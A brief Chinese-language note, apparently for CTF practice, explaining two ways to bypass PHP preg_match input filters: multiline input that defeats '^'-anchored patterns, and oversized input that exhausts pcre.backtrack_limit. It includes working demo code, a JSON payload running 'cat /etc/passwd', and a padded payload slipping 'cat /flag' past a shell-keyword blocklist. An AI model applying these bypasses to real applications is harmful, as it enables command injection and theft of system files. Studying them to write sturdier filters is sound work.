PHP Trick 之 preg_match(/^.*/)
I hate Regex
快速笔记
换行绕过
如果preg_match用^对开头进行界定的话,那么它只会为输入的第一行进行检测,进而可以通过输入多行进行绕过:
<?php
$myinput="aaaaaaa\n11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
如果接收的是JSON格式的数据,可以多输入几行:
{
"cmd": "cat /etc/passwd"
}
长度绕过
这个的利用原理是pcre设定了一个正则匹配溯次数上限pcre.backtrack_limit,可以用var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

通过发送超长字符串的方式,使正则执行失败,进而绕过限制。
<?php
$json = '{"cmd": "cat /flag", "injected": "'. str_repeat("a", 10000000) .'"}';
//echo $json."\n";
if (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'preg_match detected<br/><br/>';
} else {
$cmd = json_decode($json, true)['cmd'];
echo $cmd; // cat /flag
}